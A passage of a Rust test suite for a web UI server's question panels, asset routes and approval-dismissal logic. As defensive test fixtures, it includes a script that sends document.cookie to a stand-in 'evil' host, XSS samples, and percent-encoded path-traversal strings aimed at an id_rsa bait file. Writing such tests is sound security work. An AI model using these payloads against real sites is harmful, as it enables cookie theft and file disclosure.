11754    /// A one-shot HTTP/1.1 client. `Connection: close` is what lets the reply
11755    /// be read to end-of-stream without parsing framing.
11756    async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
11757        request_with(addr, method, path, body, &[]).await
11758    }
11759
11760    /// As [`request`], with extra request headers - conditional GETs need
11761    /// `If-None-Match`, and a server that sets an `ETag` it never compares is
11762    /// worse than one that sets none.
11763    async fn request_with(
11764        addr: SocketAddr,
11765        method: &str,
11766        path: &str,
11767        body: Option<&str>,
11768        extra: &[(&str, &str)],
11769    ) -> Res {
11770        let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
11771        for (name, value) in extra {
11772            head.push_str(&format!("{name}: {value}\r\n"));
11773        }
11774        if let Some(body) = body {
11775            head.push_str("Content-Type: application/json\r\n");
11776            head.push_str(&format!("Content-Length: {}\r\n", body.len()));
11777        }
11778        head.push_str("\r\n");
11779        if let Some(body) = body {
11780            head.push_str(body);
11781        }
11782        let mut socket = tokio::net::TcpStream::connect(addr)
11783            .await
11784            .expect("connect to the test server");
11785        socket
11786            .write_all(head.as_bytes())
11787            .await
11788            .expect("write request");
11789        let mut raw = Vec::new();
11790        socket.read_to_end(&mut raw).await.expect("read response");
11791        // Split on the raw bytes rather than on a lossy string, so a binary
11792        // body survives to be compared byte for byte.
11793        let split = raw
11794            .windows(4)
11795            .position(|w| w == b"\r\n\r\n")
11796            .expect("a header block");
11797        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
11798        let bytes = raw[split + 4..].to_vec();
11799        let status = head
11800            .lines()
11801            .next()
11802            .and_then(|line| line.split_whitespace().nth(1))
11803            .and_then(|code| code.parse().ok())
11804            .expect("a status line");
11805        Res {
11806            status,
11807            headers: head.to_lowercase(),
11808            head,
11809            body: String::from_utf8_lossy(&bytes).into_owned(),
11810            bytes,
11811        }
11812    }
11813
11814    /// A `POST` carrying a raw binary body and its own headers, for the
11815    /// attachment upload route - `request_with` only ever sends
11816    /// `Content-Type: application/json`, which is wrong for an image and
11817    /// would corrupt anything not valid UTF-8 by round-tripping it through
11818    /// `&str` first.
11819    async fn request_bytes(
11820        addr: SocketAddr,
11821        path: &str,
11822        headers: &[(&str, &str)],
11823        body: &[u8],
11824    ) -> Res {
11825        let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
11826        for (name, value) in headers {
11827            head.push_str(&format!("{name}: {value}\r\n"));
11828        }
11829        head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
11830        let mut socket = tokio::net::TcpStream::connect(addr)
11831            .await
11832            .expect("connect to the test server");
11833        socket
11834            .write_all(head.as_bytes())
11835            .await
11836            .expect("write request head");
11837        socket.write_all(body).await.expect("write request body");
11838        let mut raw = Vec::new();
11839        socket.read_to_end(&mut raw).await.expect("read response");
11840        let split = raw
11841            .windows(4)
11842            .position(|w| w == b"\r\n\r\n")
11843            .expect("a header block");
11844        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
11845        let bytes = raw[split + 4..].to_vec();
11846        let status = head
11847            .lines()
11848            .next()
11849            .and_then(|line| line.split_whitespace().nth(1))
11850            .and_then(|code| code.parse().ok())
11851            .expect("a status line");
11852        Res {
11853            status,
11854            headers: head.to_lowercase(),
11855            head,
11856            body: String::from_utf8_lossy(&bytes).into_owned(),
11857            bytes,
11858        }
11859    }
11860
11861    /// A run on disk, without touching the process-global magi home.
11862    fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
11863        let mut state = RunState::new(
11864            PathBuf::from("/repo/magi"),
11865            "main".to_owned(),
11866            "0123456789abcdef".to_owned(),
11867            "Add a web UI\n\nMobile first.".to_owned(),
11868            Config::default(),
11869        );
11870        state.id = id.to_owned();
11871        state.status = status;
11872        let dir = runs.join(id);
11873        std::fs::create_dir_all(&dir).expect("run dir");
11874        std::fs::write(
11875            dir.join("run.json"),
11876            serde_json::to_string_pretty(&state).expect("serialize run"),
11877        )
11878        .expect("write run.json");
11879    }
11880
11881    /// Same as [`write_run`], but against a named repository rather than the
11882    /// fixed `/repo/magi` - for the `?repo=` stats tests, which need runs
11883    /// spread across more than one.
11884    fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
11885        let mut state = RunState::new(
11886            PathBuf::from(repo),
11887            "main".to_owned(),
11888            "0123456789abcdef".to_owned(),
11889            "task".to_owned(),
11890            Config::default(),
11891        );
11892        state.id = id.to_owned();
11893        state.status = status;
11894        let dir = runs.join(id);
11895        std::fs::create_dir_all(&dir).expect("run dir");
11896        std::fs::write(
11897            dir.join("run.json"),
11898            serde_json::to_string_pretty(&state).expect("serialize run"),
11899        )
11900        .expect("write run.json");
11901    }
11902
11903    fn write_daemon(home: &FsPath, updated_at: Timestamp) {
11904        let body = serde_json::json!({
11905            "schema": 1,
11906            "pid": 4242,
11907            "started_at": Timestamp::now().to_string(),
11908            "updated_at": updated_at.to_string(),
11909            "idle": false,
11910            "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
11911            "completed": 7,
11912            "polls": 143,
11913        });
11914        std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
11915    }
11916
11917    /// A loop that starts, finds nothing to do, and waits to be told to stop.
11918    ///
11919    /// No test in this file may start the real loop - see [`Ui::launch`] for
11920    /// why - so this stands in for the only thing the routes need a loop to
11921    /// do: keep running until `Stop` is set, then return. A real
11922    /// `serve_until` here would resolve its queue and its status file through
11923    /// the process-global magi home, claim whatever it found in the
11924    /// operator's live backlog, overwrite the status file of the `magi serve`
11925    /// that owns it, and spend real agent quota on a real competition.
11926    fn launch_idle(
11927        _opts: daemon::Opts,
11928        stop: daemon::Stop,
11929    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
11930        Box::pin(async move {
11931            while !stop.stopped() {
11932                tokio::time::sleep(Duration::from_millis(2)).await;
11933            }
11934            Ok(())
11935        })
11936    }
11937
11938    /// A loop that fails on the way up, the way one whose home has gone
11939    /// read-only does.
11940    fn launch_broken(
11941        _opts: daemon::Opts,
11942        _stop: daemon::Stop,
11943    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
11944        // The stand-in dies instantly, so a restarted one can record its own
11945        // failure before the start's response is read. The second attempt
11946        // therefore fails with a different message, to tell a stale error
11947        // from a fresh one.
11948        static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
11949        let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
11950        Box::pin(async move {
11951            Err(anyhow::anyhow!(if first {
11952                "publish the daemon status file: read-only file system"
11953            } else {
11954                "the restarted stand-in failed as well"
11955            }))
11956        })
11957    }
11958
11959    /// The loop view once `want` accepts it.
11960    ///
11961    /// Polled rather than asserted straight after the POST because stopping
11962    /// is deliberately not instant - that is the contract - and rather than
11963    /// slept through because a fixed wait is either flaky or slow.
11964    /// `SETTLE_STEPS` is far longer than a stand-in loop needs and still
11965    /// finite, so a genuine hang fails the test instead of hanging the
11966    /// suite.
11967    async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
11968        for _ in 0..SETTLE_STEPS {
11969            let view = fx.get("/api/loop").await.json();
11970            if want(&view) {
11971                return view;
11972            }
11973            tokio::time::sleep(Duration::from_millis(10)).await;
11974        }
11975        panic!(
11976            "the loop never settled: {}",
11977            fx.get("/api/loop").await.json()
11978        );
11979    }
11980
11981    /// File an open question directly in the store the server reads.
11982    fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
11983        let store = fx.questions();
11984        let mut q = Question::new(
11985            "20260902-000000-beef".to_owned(),
11986            "implement".to_owned(),
11987            "impl-A".to_owned(),
11988            summary.to_owned(),
11989            "because it matters".to_owned(),
11990            choices.iter().map(|c| (*c).to_owned()).collect(),
11991        );
11992        store.put(&mut q).expect("put question");
11993        q.id
11994    }
11995
11996    /// A question with a panel the server can serve, plus the named assets.
11997    ///
11998    /// Written through `Questions::put_panel` rather than by laying out the
11999    /// directory here, so these tests exercise the same on-disk shape the
12000    /// agents produce and cannot pass against a layout only the tests know.
12001    fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
12002        let store = fx.questions();
12003        let mut q = Question::new(
12004            "20260902-000000-beef".to_owned(),
12005            "land".to_owned(),
12006            "fix".to_owned(),
12007            "Merge this?".to_owned(),
12008            "the diff is in the panel".to_owned(),
12009            vec!["merge".to_owned(), "hold".to_owned()],
12010        );
12011        // Staged outside the questions root, because `put_panel` copies from
12012        // wherever the agent left its files.
12013        let staging = fx.home.path().join("staging");
12014        std::fs::create_dir_all(&staging).expect("staging dir");
12015        let sources: Vec<PathBuf> = assets
12016            .iter()
12017            .map(|(name, bytes)| {
12018                let path = staging.join(name);
12019                std::fs::write(&path, bytes).expect("write staged asset");
12020                path
12021            })
12022            .collect();
12023        store
12024            .put_panel(&mut q, html, &sources)
12025            .expect("write the panel");
12026        store.put(&mut q).expect("put question");
12027        q.id
12028    }
12029
12030    /// A talk on disk, without talking to a model.
12031    ///
12032    /// Written as JSON straight into the store the server reads, because the
12033    /// only constructor `talk::begin` offers takes no turn but still requires
12034    /// a real caller-visible flow. The one thing this cannot make up is the
12035    /// seat, so it is built with the real `SeatState::new` and serialized -
12036    /// the alternative, hand-writing that object, would make these tests fail
12037    /// the day the seat gains a field.
12038    fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
12039        seed_talk_at(&fx.talks(), id, status)
12040    }
12041
12042    fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
12043        std::fs::create_dir_all(store.root()).expect("talks dir");
12044        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
12045            .expect("serialize a seat");
12046        let body = serde_json::json!({
12047            "schema": 1,
12048            "id": id,
12049            "repo": "/repo/magi",
12050            "agent": "mock",
12051            "status": status,
12052            "turns": [],
12053            "created_at": Timestamp::now().to_string(),
12054            "updated_at": Timestamp::now().to_string(),
12055            "seat": seat,
12056        });
12057        std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
12058        store.get(id).expect("the seeded talk has to be readable");
12059        id.to_owned()
12060    }
12061
12062    #[tokio::test]
12063    async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
12064        let fx = Fixture::start().await;
12065        let id = panel(
12066            &fx,
12067            "<h1>Merge?</h1><img src=\"diff.svg\">",
12068            &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
12069        );
12070
12071        for path in [
12072            format!("/api/questions/{id}/panel"),
12073            format!("/api/questions/{id}/asset/diff.svg"),
12074        ] {
12075            let res = fx.get(&path).await;
12076            assert_eq!(res.status, 200, "{path}: {}", res.body);
12077            // The whole string, not a substring. A weakened directive - an
12078            // `img-src *` that lets a panel beacon out to a remote host, a
12079            // `script-src` anything, a missing `form-action` that lets it post
12080            // the owner's decision to a third party - has to fail here, and a
12081            // `contains` assertion would let every one of those through.
12082            assert_eq!(
12083                res.header("content-security-policy"),
12084                Some(
12085                    "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
12086                     font-src data:; base-uri 'none'; form-action 'none'; \
12087                     frame-ancestors 'self'"
12088                ),
12089                "{path} is the only thing between a hostile panel and the tailnet"
12090            );
12091            assert_eq!(
12092                res.header("x-content-type-options"),
12093                Some("nosniff"),
12094                "{path}: a browser must not re-decide the type we sent"
12095            );
12096            assert_eq!(
12097                res.header("referrer-policy"),
12098                Some("no-referrer"),
12099                "{path}: a panel must not leak the question id off the machine"
12100            );
12101
12102            // The front end mounts the frame only after a `HEAD` says the
12103            // panel is there, so `HEAD` has to answer with the same status and
12104            // the same policy as `GET` - a preflight that came back without
12105            // the CSP would mean a frame mounted on an unverified promise.
12106            let pre = fx.head(&path).await;
12107            assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
12108            assert_eq!(
12109                pre.header("content-security-policy"),
12110                res.header("content-security-policy"),
12111                "{path}: the preflight carries the same policy"
12112            );
12113            assert_eq!(
12114                pre.header("content-type"),
12115                res.header("content-type"),
12116                "{path}: the preflight carries the same type"
12117            );
12118        }
12119    }
12120
12121    #[tokio::test]
12122    async fn a_panel_reaches_the_browser_byte_for_byte() {
12123        let fx = Fixture::start().await;
12124        // Markup a sanitiser would be tempted to touch: a stray `<`, a script
12125        // tag, an entity, and a multi-byte character. The sandbox is what makes
12126        // this safe, so nothing here may be rewritten on the way out - a
12127        // rewritten diff is a diff the owner cannot trust.
12128        let html = "<h1>Merge?</h1><p>a &lt; b — 変更</p><script>alert(1)</script>";
12129        let id = panel(&fx, html, &[]);
12130
12131        let res = fx.get(&format!("/api/questions/{id}/panel")).await;
12132
12133        assert_eq!(res.status, 200);
12134        assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
12135        assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
12136        assert_eq!(
12137            res.header("content-disposition"),
12138            None,
12139            "the panel itself is rendered in the frame, not downloaded"
12140        );
12141    }
12142
12143    #[tokio::test]
12144    async fn an_svg_asset_is_a_download_and_a_png_is_not() {
12145        let fx = Fixture::start().await;
12146        let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
12147        let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
12148        let id = panel(
12149            &fx,
12150            "<img src=\"diff.svg\"><img src=\"shot.png\">",
12151            &[("diff.svg", svg), ("shot.png", png)],
12152        );
12153
12154        let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
12155        let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
12156
12157        assert_eq!(as_svg.status, 200);
12158        assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
12159        // An SVG is XML that may carry script. Inside the panel it is an
12160        // `<img src>` and the script cannot run; opened at the top level it
12161        // would be a document on magi's own origin, so the browser is told to
12162        // download it instead of rendering it.
12163        assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
12164
12165        assert_eq!(as_png.status, 200);
12166        assert_eq!(as_png.header("content-type"), Some("image/png"));
12167        assert_eq!(
12168            as_png.header("content-disposition"),
12169            None,
12170            "a raster image has no execution surface, so tapping it still shows it"
12171        );
12172        assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
12173    }
12174
12175    #[tokio::test]
12176    async fn an_html_asset_is_never_served_as_html() {
12177        let fx = Fixture::start().await;
12178        let id = panel(
12179            &fx,
12180            "<p>see the notes</p>",
12181            &[
12182                (
12183                    "notes.html",
12184                    b"<script>fetch('http://evil/'+document.cookie)</script>",
12185                ),
12186                ("hook.js", b"fetch('http://evil/')"),
12187                ("data.json", b"{}"),
12188                ("HEADLINE.TXT", b"plain"),
12189            ],
12190        );
12191
12192        for name in ["notes.html", "hook.js", "data.json"] {
12193            let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
12194            assert_eq!(res.status, 200, "{name}: {}", res.body);
12195            // Serving this as text/html would be a way to reach agent markup
12196            // at the top level of the operator's browser, outside the frame's
12197            // sandbox and outside its CSP - which is the whole thing the panel
12198            // design exists to prevent. Unlisted types are downloads.
12199            assert_eq!(
12200                res.header("content-type"),
12201                Some("application/octet-stream"),
12202                "{name} must not be a type the browser will execute or render"
12203            );
12204        }
12205        // The whitelist is matched case-insensitively, so an agent shouting the
12206        // extension still gets a readable file rather than a download.
12207        let txt = fx
12208            .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
12209            .await;
12210        assert_eq!(
12211            txt.header("content-type"),
12212            Some("text/plain; charset=utf-8")
12213        );
12214    }
12215
12216    #[tokio::test]
12217    async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
12218        let fx = Fixture::start().await;
12219        let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
12220        // Something outside the panel directory that a traversal would reach if
12221        // one got through, so a passing test is not merely "the file was
12222        // missing anyway".
12223        std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
12224
12225        // Decoded before this server's handler sees them: axum percent-decodes
12226        // path parameters, so `name` arrives as `../id_rsa`, `..\id_rsa` and a
12227        // string with a NUL in it. All three look like ordinary single-segment
12228        // filenames to the router, so the router passes them through and
12229        // `valid_asset_name` is what refuses them - for the literal `..`, and
12230        // for `/`, `\` and NUL not being in the permitted character set.
12231        for encoded in [
12232            "%2e%2e%2fid_rsa",
12233            "..%2fid_rsa",
12234            "..%5cid_rsa",
12235            "%2e%2e%5cid_rsa",
12236            "diff%00.svg",
12237            "..",
12238            ".hidden",
12239            "%2e%2e%2f%2e%2e%2fid_rsa",
12240        ] {
12241            let res = fx
12242                .get(&format!("/api/questions/{id}/asset/{encoded}"))
12243                .await;
12244            assert_eq!(
12245                res.status, 400,
12246                "`{encoded}` has to be refused by name, not looked up: {}",
12247                res.body
12248            );
12249            assert!(res.json()["error"].is_string(), "{}", res.body);
12250        }
12251
12252        // Not decoded, and never this handler's problem: a real slash makes the
12253        // request one segment too long for `/api/questions/{id}/asset/{name}`,
12254        // so axum's router has no route to match and answers before any code
12255        // here runs. Asserted so that a future route with a wildcard segment
12256        // cannot quietly open this door.
12257        for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
12258            let res = fx
12259                .get(&format!("/api/questions/{id}/asset/{literal}"))
12260                .await;
12261            assert_eq!(
12262                res.status, 404,
12263                "`{literal}` must not match the asset route at all: {}",
12264                res.body
12265            );
12266        }
12267    }
12268
12269    #[tokio::test]
12270    async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
12271        let fx = Fixture::start().await;
12272        let plain = ask(&fx, "Which backend?", &["SQLite"]);
12273        let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
12274
12275        // A question nobody wrote a panel for. The client preflights with HEAD
12276        // and cannot see inside a sandboxed frame, so this must be a status and
12277        // not an empty page.
12278        let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
12279        assert_eq!(none.status, 404, "{}", none.body);
12280        assert!(none.json()["error"].is_string(), "{}", none.body);
12281        assert_eq!(
12282            fx.head(&format!("/api/questions/{plain}/panel"))
12283                .await
12284                .status,
12285            404,
12286            "the preflight is the only way the client can learn this"
12287        );
12288
12289        // A name that is perfectly legal and simply is not there.
12290        let missing = fx
12291            .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
12292            .await;
12293        assert_eq!(missing.status, 404, "{}", missing.body);
12294        assert!(missing.json()["error"].is_string(), "{}", missing.body);
12295
12296        // A question that does not exist at all, on both routes.
12297        assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
12298        assert_eq!(
12299            fx.get("/api/questions/nope/asset/diff.svg").await.status,
12300            404
12301        );
12302    }
12303
12304    #[tokio::test]
12305    async fn a_run_with_an_open_question_reads_as_waiting() {
12306        let fx = Fixture::start().await;
12307        let run = "20260902-000000-beef".to_owned();
12308        write_run(&fx.runs(), &run, RunStatus::Implementing);
12309
12310        let before = fx.get("/api/runs").await.json();
12311        assert_eq!(before[0]["waiting"], false, "{before}");
12312
12313        let store = fx.questions();
12314        let mut q = Question::new(
12315            run.clone(),
12316            "implement".to_owned(),
12317            "impl-A".to_owned(),
12318            "Which backend?".to_owned(),
12319            String::new(),
12320            vec!["SQLite".to_owned()],
12321        );
12322        store.put(&mut q).expect("put");
12323
12324        let during = fx.get("/api/runs").await.json();
12325        assert_eq!(during[0]["waiting"], true, "{during}");
12326
12327        // Answered: the run is moving again, and the flag has to follow without
12328        // anything having rewritten run.json.
12329        q.answer(Answer::Choice("SQLite".to_owned()))
12330            .expect("answer");
12331        store.put(&mut q).expect("put");
12332        let after = fx.get("/api/runs").await.json();
12333        assert_eq!(after[0]["waiting"], false, "{after}");
12334    }
12335
12336    #[tokio::test]
12337    async fn an_open_question_is_listed_and_counted_by_health() {
12338        let fx = Fixture::start().await;
12339        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
12340
12341        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12342        let listed = fx.get("/api/questions").await.json();
12343        assert_eq!(listed.as_array().expect("array").len(), 1);
12344        assert_eq!(listed[0]["id"], id);
12345        assert_eq!(listed[0]["status"], "open");
12346        assert_eq!(listed[0]["choices"][1], "Redis");
12347        // The count is what makes the phone's indicator honest: it is the one
12348        // number meaning nothing will move until a human acts.
12349        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12350    }
12351
12352    fn obsolete_approval_state() -> RunState {
12353        let mut state = crate::land::tests::repair_state(true, true);
12354        state.pr = Some(crate::run::PrRecord {
12355            url: "https://github.com/example/repo/pull/42".into(),
12356            number: 42,
12357            state: "open".into(),
12358            checks: "green".into(),
12359            round: 1,
12360            rounds: 4,
12361            red_at_merge: Vec::new(),
12362        });
12363        state
12364    }
12365
12366    #[tokio::test]
12367    async fn obsolete_approval_answer_handler_persists_retirement_for_each_owner_shape() {
12368        for owner in ["missing", "current", "completed", "later"] {
12369            let fx = Fixture {
12370                home: TempDir::new().unwrap(),
12371                addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
12372            };
12373            let mut state = obsolete_approval_state();
12374            state.status = RunStatus::Landing;
12375            state.parked = true;
12376            state.driver_exited = true;
12377            let mut q = Question::new(
12378                state.id.clone(),
12379                crate::land::APPROVAL_NODE.into(),
12380                "land".into(),
12381                "Old approval".into(),
12382                "Original evidence".into(),
12383                vec!["merge".into(), "hold".into()],
12384            );
12385            state.land_approval = Some(crate::run::LandApproval {
12386                question: q.id.clone(),
12387                head: "head".into(),
12388            });
12389            state.save_under(fx.home.path()).unwrap();
12390            let stale = state.clone();
12391            fx.questions().put(&mut q).unwrap();
12392            let mut task = Task::new(
12393                "Owner".into(),
12394                "Original instruction".into(),
12395                state.repo.clone(),
12396                Source::Human,
12397            );
12398            task.runs.push(state.id.clone());
12399            task.status = if owner == "completed" {
12400                TaskStatus::Done
12401            } else {
12402                TaskStatus::Parked
12403            };
12404            if owner == "later" {
12405                task.runs.push("later-run".into());
12406            }
12407            if owner != "missing" {
12408                fx.queue().put(&mut task).unwrap();
12409            }
12410            let ui = Arc::new(Ui::new(
12411                fx.queue(),
12412                fx.questions(),
12413                fx.talks(),
12414                fx.runs(),
12415                fx.home.path().into(),
12416                state.repo.clone(),
12417            ));
12418            let response = question_answer(
12419                State(ui),
12420                Path(q.id.clone()),
12421                Ok(Json(NewAnswer {
12422                    choice: Some(crate::merge_decision::DISMISS.into()),
12423                    text: None,
12424                    ..Default::default()
12425                })),
12426            )
12427            .await
12428            .unwrap();
12429            assert_eq!(
12430                response.0.question.resolution().as_deref(),
12431                Some(crate::merge_decision::DISMISS)
12432            );
12433            let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
12434            assert_eq!(disk.status, RunStatus::Superseded);
12435            assert!(crate::pr_head::ensure_owner_record(&stale, Some(&disk)).is_err());
12436            assert!(!crate::merge_decision::resumable_hold(&disk));
12437            assert_eq!(
12438                serde_json::to_value(&disk.pr).unwrap(),
12439                serde_json::to_value(&stale.pr).unwrap()
12440            );
12441            assert_eq!(fx.questions().count_open(), 0);
12442            assert!(fx.questions().get(&q.id).unwrap().chosen_action().is_none());
12443            crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12444            if owner == "missing" {
12445                assert!(fx.queue().list().is_empty());
12446            } else {
12447                let after = fx.queue().get(&task.id).unwrap();
12448                assert_eq!(
12449                    after.status,
12450                    if owner == "current" {
12451                        TaskStatus::Done
12452                    } else {
12453                        task.status
12454                    }
12455                );
12456                assert_eq!(after.runs, task.runs);
12457                assert_eq!(after.instruction, task.instruction);
12458                assert_eq!(after.action_applied(&q.id), owner == "current");
12459            }
12460        }
12461    }
12462
12463    #[tokio::test]
12464    async fn obsolete_legacy_approval_dismissal_survives_http_reconnect_without_an_owner() {
12465        let fx = Fixture::start().await;
12466        let mut state = obsolete_approval_state();
12467        state.status = RunStatus::Landing;
12468        state.parked = true;
12469        state.driver_exited = true;
12470        let mut q = Question::new(
12471            state.id.clone(),
12472            crate::land::APPROVAL_NODE.into(),
12473            "land".into(),
12474            "Superseded PR approval".into(),
12475            "Original review evidence".into(),
12476            vec!["merge".into(), "hold".into()],
12477        );
12478        state.land_approval = Some(crate::run::LandApproval {
12479            question: q.id.clone(),
12480            head: "old-reviewed-head".into(),
12481        });
12482        // The old persisted PR may still say open even when a separate change
12483        // already landed. Dismissal must not use that snapshot to close it.
12484        state.save_under(fx.home.path()).unwrap();
12485        let stale_driver = state.clone();
12486        fx.questions().put(&mut q).unwrap();
12487        let path = fx
12488            .home
12489            .path()
12490            .join("questions")
12491            .join(format!("{}.json", q.id));
12492        let mut legacy = serde_json::to_value(&q).unwrap();
12493        legacy["schema"] = 9.into();
12494        legacy.as_object_mut().unwrap().remove("merge_target");
12495        std::fs::write(&path, serde_json::to_vec(&legacy).unwrap()).unwrap();
12496
12497        // POST without GET tests legacy upgrade and validation at the actual
12498        // entry point, rather than constructing a modern card in the test.
12499        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
12500        let answer_path = format!("/api/questions/{}/answer", q.id);
12501        let res = fx.post(&answer_path, Some(&body)).await;
12502        assert_eq!(res.status, 200, "{}", res.body);
12503        let disk = fx.questions().get(&q.id).unwrap();
12504        assert_eq!(
12505            disk.resolution().as_deref(),
12506            Some(crate::merge_decision::DISMISS)
12507        );
12508        assert!(disk.detail.starts_with("Original review evidence"));
12509        let retired = RunState::load_under(&state.id, fx.home.path()).unwrap();
12510        assert_eq!(retired.status, RunStatus::Superseded);
12511        assert_eq!(
12512            serde_json::to_value(&retired.pr).unwrap(),
12513            serde_json::to_value(&state.pr).unwrap()
12514        );
12515        assert!(!retired.merge_decision.as_ref().unwrap().closed);
12516        assert!(!crate::merge_decision::resumable_hold(&retired));
12517        assert!(fx.queue().list().is_empty());
12518        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12519        // A restarted server re-reads the persisted pending list.
12520        let addr = Fixture::serve(
12521            fx.home.path(),
12522            PathBuf::from("/repo/magi"),
12523            launch_idle,
12524            None,
12525        )
12526        .await;
12527        let reconnected = Fixture {
12528            home: fx.home,
12529            addr,
12530        };
12531        let listed = reconnected.get("/api/questions").await.json();
12532        assert!(
12533            listed
12534                .as_array()
12535                .unwrap()
12536                .iter()
12537                .all(|q| q["status"] != "open")
12538        );
12539        assert_eq!(listed[0]["id"], q.id, "history remains available");
12540        assert_eq!(
12541            reconnected.get("/api/health").await.json()["questions_open"],
12542            0
12543        );
12544        assert_eq!(
12545            reconnected
12546                .post(&answer_path, Some(r#"{"choice":"merge"}"#))
12547                .await
12548                .status,
12549            409
12550        );
12551        // A late waiter cannot turn the old answer into a new decision.
12552        assert!(
12553            reconnected
12554                .questions()
12555                .update(&q.id, |q| q.answer(Answer::Choice("hold".into())))
12556                .is_err()
12557        );
12558        // The same guard used by claims, repair and publication rejects a
12559        // saved in-memory driver as well as the persisted terminal record.
12560        assert!(crate::pr_head::ensure_owner_record(&stale_driver, Some(&retired)).is_err());
12561    }
12562
12563    #[tokio::test]
12564    async fn obsolete_approval_dismissal_respects_claims_and_later_attempts() {
12565        let fx = Fixture::start().await;
12566        let mut state = obsolete_approval_state();
12567        state.status = RunStatus::Landing;
12568        state.driver_exited = true;
12569        let mut q = Question::new(
12570            state.id.clone(),
12571            crate::land::APPROVAL_NODE.into(),
12572            "land".into(),
12573            "Obsolete approval".into(),
12574            String::new(),
12575            vec!["merge".into(), "hold".into()],
12576        );
12577        state.land_approval = Some(crate::run::LandApproval {
12578            question: q.id.clone(),
12579            head: "head".into(),
12580        });
12581        state.save_under(fx.home.path()).unwrap();
12582        fx.questions().put(&mut q).unwrap();
12583        let mut task = Task::new(
12584            "Owner".into(),
12585            "Original instruction".into(),
12586            state.repo.clone(),
12587            Source::Human,
12588        );
12589        task.runs = vec![state.id.clone(), "later-run".into()];
12590        fx.queue().put(&mut task).unwrap();
12591        let before = std::fs::read(fx.queue().path_of(&task.id)).unwrap();
12592        let claim = fx.queue().claim(&task.id).unwrap();
12593        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
12594        let path = format!("/api/questions/{}/answer", q.id);
12595        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12596        assert!(fx.questions().get(&q.id).unwrap().status.open());
12597        drop(claim);
12598        let publication = crate::pr_head::owner_lock(fx.home.path(), &state.id).unwrap();
12599        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12600        assert!(fx.questions().get(&q.id).unwrap().status.open());
12601        drop(publication);
12602        // Unknown liveness and armed auto-merge both fail without settling.
12603        state.driver_exited = false;
12604        state.driver_pid = None;
12605        state.driver_claimed = None; // No durable proof of an unstarted execution.
12606        state.save_under(fx.home.path()).unwrap();
12607        assert_eq!(
12608            state.liveness_under(fx.home.path(), false),
12609            crate::run::Liveness::Unknown
12610        );
12611
12612        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12613        state.driver_exited = true;
12614        state.land_armed_head = Some("head".into());
12615        state.save_under(fx.home.path()).unwrap();
12616        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12617        state.land_armed_head = None;
12618        state.save_under(fx.home.path()).unwrap();
12619        assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
12620        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12621        assert_eq!(std::fs::read(fx.queue().path_of(&task.id)).unwrap(), before);
12622    }
12623
12624    #[tokio::test]
12625    async fn obsolete_approval_dismissal_retries_partial_writes_and_finishes_only_current_owner() {
12626        let fx = Fixture::start().await;
12627        let mut state = obsolete_approval_state();
12628        state.status = RunStatus::Landing;
